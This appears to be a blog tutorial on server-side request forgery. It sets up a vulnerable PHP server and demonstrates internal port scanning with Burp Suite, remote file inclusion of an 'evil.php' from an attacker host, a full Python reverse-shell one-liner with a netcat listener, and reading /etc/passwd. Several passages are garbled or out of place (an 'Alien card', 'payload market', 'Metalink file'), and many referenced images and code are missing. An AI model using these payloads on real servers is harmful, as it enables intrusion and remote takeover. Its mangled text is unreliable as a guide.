The SSRF vulnerability 2023

This article is about The SSRF vulnerability.

Introduction to The SSRF vulnerability:

Server Side Request Forgery, or SSRF, is a vulnerability where an attacker forces a server to make requests on his behalf. Here are some cases where we can use this attack.

Imagine an attacker discovers an SSRF vulnerability on a server. Assume that the server is just a web server inside a wide area network. This network also contains several other computers and servers. By exploiting the SSRF vulnerability, an attacker could be able to:

Scan for other computers on the vulnerable server’s network that it would not otherwise have access to.
Perform a Remote File Inclusion attack.
Find services running on each network host.
Bypass the firewall and force a vulnerable server to execute your malicious requests.
Load server files (including /etc/passwd and others).
You can better understand how an SSRF attack works by looking at the following image:

Image source: blogs.mcafee.com

We can further consider the following definition from CWE – Common Weakness Enumeration:

“The web server accepts a URL or similar request from a parent component and retrieves the content of that URL, but does not sufficiently ensure that the request is sent to the expected destination.”

Simply put, the problem occurs when the server does not properly validate the user’s input. We’ve seen this story many times. Again:

Server attack

For the purposes of this article, I set up a vulnerable Debian GNU/Linux 7.11 (wheezy) web server. A PHP file called “awesome_script.php” is uploaded, which when browsed looks like this:

So by trying to load “http://php.net” we can see something like this:

Let’s now understand how the server makes requests. Does it validate user input or not? To test this, we can consider entering “http://scanme.nmap.org:22/” as input. This is an authorized place to test our Nmap installation, so we can look for open ports.

As we can see, we can determine that the SSH service is running normally. Thus, we can use the vulnerable web application to scan open ports on any target domain ( scanme.nmap.org ).

Now let’s see if we can find open ports on a vulnerable computer. To start with, we’ll use “http://localhost/” as input. This will request the server’s index page. Because the vulnerable application runs “locally”, localhost requests the vulnerable application for its localhost page.

As we can see, there is a phpinfo file available on port 80 of the localhost page of the server. Our goal now is to find all open ports available on the server. We will use BurpSuite for this. In this article, we will not explain the use of BurpSuite. You can check out some helpful tutorials on Burp’s official website.

This is what the Alien card looks like before the modifications.

Related article:Everything you need to know about Ethical Hacking as a Career by Blackhat Pakistan 2023

What we need to do is insert the payload market before and after the port number. This will make our request look like this.

Now we need to select the Payloads tab. Payload Set must be set to 1. Payload Type must be set to Numbers. In the Number Range menu, make sure you start from port 0 to your preferred port number. For the simplicity of this article, I will use the range 0 to 1000. In your tests, you can scan all 65536 ports (Yes, it will take a lot of time). The increment step is 1. Finally, make sure to avoid numeric fractions by setting both the minimum and maximum fractions to 0.

After the attack is complete, I select a list of responses by length. As you can see, ports 80 (http), 22 (ssh) and 25 (smtp) are available on the vulnerable server.

Of course, you can also use the Grep filters provided by BurpSuite to filter out the results. Of course, if you don’t want to use BurpSuite for this task, you can also write your own script to automate the process. Obviously, sending so many requests will take a lot of time to complete the scan. But we can also do many things other than port scanning with SSRF.

For example, sometimes we can perform a Remote File Inclusion attack. For the purpose of this article, I created a simple PHP payload located on a different server than the vulnerable one. The PHP code of my “bad” file looks like this:

This simple PHP code calls a system function to execute system commands and then immediately returns the result. The PHP file is located at: “http://evilssrf.com/evil.php”. The reverse shell payload I used was as follows:

$ python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“IP”,4444));os.dup2(s.fileno(), 0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

More reverse shell payloads can be found here: Reverse Shell Cheat Sheet. Of course I listened for connections on the “bad” server by running:

$ nc -nlvp 4444

So that was my request.

And that was the result!

So we managed to take the reverse shell. Let’s see what else we can do.

Finally, we use the File protocol
to use the Metalink file in the server’s file system. For example, the following request will require the “/etc/passwd” file located on the vulnerable server.

And the result:

As you can see, there are many things you can do to exploit the SSRF vulnerability. Imagine what you could achieve if you used all the curl options. Gother, dict, FTP and other logs should always be checked. As you can surely understand, it would be impossible to analyze them all in one article. I suggest you check out my personal SSRF Bible.

The vulnerable application code can be found here.

If you have any other ideas, feel free to comment! I hope you enjoyed this article as much as I did. Thank you for your time.